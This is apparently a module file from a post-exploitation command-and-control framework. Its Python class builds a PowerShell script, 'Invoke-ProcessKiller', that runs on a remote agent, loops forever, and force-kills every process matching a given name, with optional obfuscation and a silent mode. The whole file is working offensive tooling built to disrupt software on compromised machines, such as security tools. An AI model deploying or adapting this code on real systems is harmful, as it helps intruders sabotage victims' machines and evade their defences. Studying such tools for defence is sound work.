115 lines
3.2 KiB
Python
115 lines
3.2 KiB
Python
import base64
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from lib.common import helpers
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class Module:
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def __init__(self, mainMenu, params=[]):
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self.info = {
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'Name': 'Invoke-ProcessKiller',
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'Author': ['@harmj0y'],
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'Description': ("Kills any process starting with a particular name."),
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'Background' : True,
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'OutputExtension' : None,
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'NeedsAdmin' : False,
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'OpsecSafe' : False,
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'Language' : 'powershell',
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'MinLanguageVersion' : '2',
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'Comments': [ ]
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}
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# any options needed by the module, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Agent' : {
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'Description' : 'Agent to run module on.',
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'Required' : True,
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'Value' : ''
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},
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'ProcessName' : {
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'Description' : 'Process name to kill on starting (wildcards accepted).',
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'Required' : True,
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'Value' : ''
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},
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'Sleep' : {
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'Description' : 'Time to sleep between checks.',
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'Required' : True,
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'Value' : '1'
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},
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'Silent' : {
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'Description' : "Switch. Don't output kill messages.",
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'Required' : False,
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'Value' : ''
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self, obfuscate=False, obfuscationCommand=""):
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script = """
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function Invoke-ProcessKiller {
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[CmdletBinding()]
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Param (
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[Parameter(Mandatory = $True, Position = 0)]
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[ValidateNotNullOrEmpty()]
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[String]
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$ProcessName,
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[Parameter(Position = 1)]
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[Int]
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$Sleep = 1,
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[Parameter(Position = 2)]
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[Switch]
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$Silent
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)
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"Invoke-ProcessKiller monitoring for $ProcessName every $Sleep seconds"
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while($true){
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Start-Sleep $Sleep
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Get-Process $ProcessName | % {
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if (-not $Silent) {
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"`n$ProcessName process started, killing..."
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}
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Stop-Process $_.Id -Force
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}
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}
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}
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Invoke-ProcessKiller"""
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for option,values in self.options.iteritems():
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if option.lower() != "agent":
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if values['Value'] and values['Value'] != '':
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if values['Value'].lower() == "true":
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# if we're just adding a switch
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script += " -" + str(option)
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else:
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script += " -" + str(option) + " " + str(values['Value'])
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if obfuscate:
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script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
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return script
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